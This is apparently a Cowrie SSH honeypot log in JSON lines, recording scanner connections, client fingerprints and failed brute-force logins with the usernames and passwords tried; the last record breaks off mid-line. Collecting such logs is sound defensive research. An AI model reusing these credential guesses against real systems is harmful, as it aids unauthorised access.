{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:43.557740Z","src_ip":"147.45.197.250","session":"4118d7065cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:43.642220Z","src_ip":"147.45.197.250","session":"4118d7065cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertgfdsa","message":"login attempt [root/qwertgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:43.894289Z","src_ip":"147.45.197.250","session":"4118d7065cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:44.981061Z","src_ip":"147.45.197.250","session":"4118d7065cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45432,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c011b73bcc","protocol":"ssh","message":"New connection: 89.144.214.214:45432 (10.17.0.5:22) [session: a8c011b73bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:47.486847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:47.492685Z","src_ip":"89.144.214.214","session":"a8c011b73bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:47.623281Z","src_ip":"89.144.214.214","session":"a8c011b73bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpsuser","password":"123","message":"login attempt [vpsuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:48.170027Z","src_ip":"89.144.214.214","session":"a8c011b73bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:49.294182Z","src_ip":"89.144.214.214","session":"a8c011b73bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":51834,"dst_ip":"10.17.0.5","dst_port":22,"session":"b397165cdd4d","protocol":"ssh","message":"New connection: 165.154.5.173:51834 (10.17.0.5:22) [session: b397165cdd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:05.032502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:05.038281Z","src_ip":"165.154.5.173","session":"b397165cdd4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:05.258263Z","src_ip":"165.154.5.173","session":"b397165cdd4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789010","message":"login attempt [root/123456789010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:06.169350Z","src_ip":"165.154.5.173","session":"b397165cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:07.392845Z","src_ip":"165.154.5.173","session":"b397165cdd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020043849945,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:07.807113Z","src_ip":"180.235.129.180","session":"ece9ccc3ff84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":60933,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f0ad8ab90df","protocol":"ssh","message":"New connection: 41.181.156.205:60933 (10.17.0.5:22) [session: 3f0ad8ab90df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:08.816750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:08.832027Z","src_ip":"41.181.156.205","session":"3f0ad8ab90df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:09.079439Z","src_ip":"41.181.156.205","session":"3f0ad8ab90df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:10.093313Z","src_ip":"41.181.156.205","session":"3f0ad8ab90df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:11.345012Z","src_ip":"41.181.156.205","session":"3f0ad8ab90df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":54638,"dst_ip":"10.17.0.5","dst_port":22,"session":"333665f89fd9","protocol":"ssh","message":"New connection: 43.156.170.155:54638 (10.17.0.5:22) [session: 333665f89fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:24.094604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:24.100894Z","src_ip":"43.156.170.155","session":"333665f89fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:24.330876Z","src_ip":"43.156.170.155","session":"333665f89fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:25.287158Z","src_ip":"43.156.170.155","session":"333665f89fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:26.521479Z","src_ip":"43.156.170.155","session":"333665f89fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":50644,"dst_ip":"10.17.0.5","dst_port":22,"session":"07491dd0fcf6","protocol":"ssh","message":"New connection: 46.253.45.10:50644 (10.17.0.5:22) [session: 07491dd0fcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:34.151861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:34.160563Z","src_ip":"46.253.45.10","session":"07491dd0fcf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:34.287032Z","src_ip":"46.253.45.10","session":"07491dd0fcf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:34.822653Z","src_ip":"46.253.45.10","session":"07491dd0fcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:35.953058Z","src_ip":"46.253.45.10","session":"07491dd0fcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:19:44.375648Z","src_ip":"147.45.211.215","session":"de1c09bbd58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":38612,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aeddc4e48a6","protocol":"ssh","message":"New connection: 85.11.167.46:38612 (159.203.135.109:22) [session: 3aeddc4e48a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.346448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.351718Z","src_ip":"85.11.167.46","session":"3aeddc4e48a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.435917Z","src_ip":"85.11.167.46","session":"3aeddc4e48a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.711815Z","src_ip":"85.11.167.46","session":"3aeddc4e48a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47214,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e628bc62fbb","protocol":"ssh","message":"New connection: 51.250.105.222:47214 (10.17.0.5:22) [session: 3e628bc62fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.751411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.760343Z","src_ip":"51.250.105.222","session":"3e628bc62fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:08.889240Z","src_ip":"51.250.105.222","session":"3e628bc62fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:09.301356Z","src_ip":"51.250.105.222","session":"3e628bc62fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:09.800357Z","src_ip":"85.11.167.46","session":"3aeddc4e48a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:10.433894Z","src_ip":"51.250.105.222","session":"3e628bc62fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":55288,"dst_ip":"10.17.0.5","dst_port":22,"session":"1183b40120a6","protocol":"ssh","message":"New connection: 165.154.5.173:55288 (10.17.0.5:22) [session: 1183b40120a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:30.370468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:30.376686Z","src_ip":"165.154.5.173","session":"1183b40120a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diff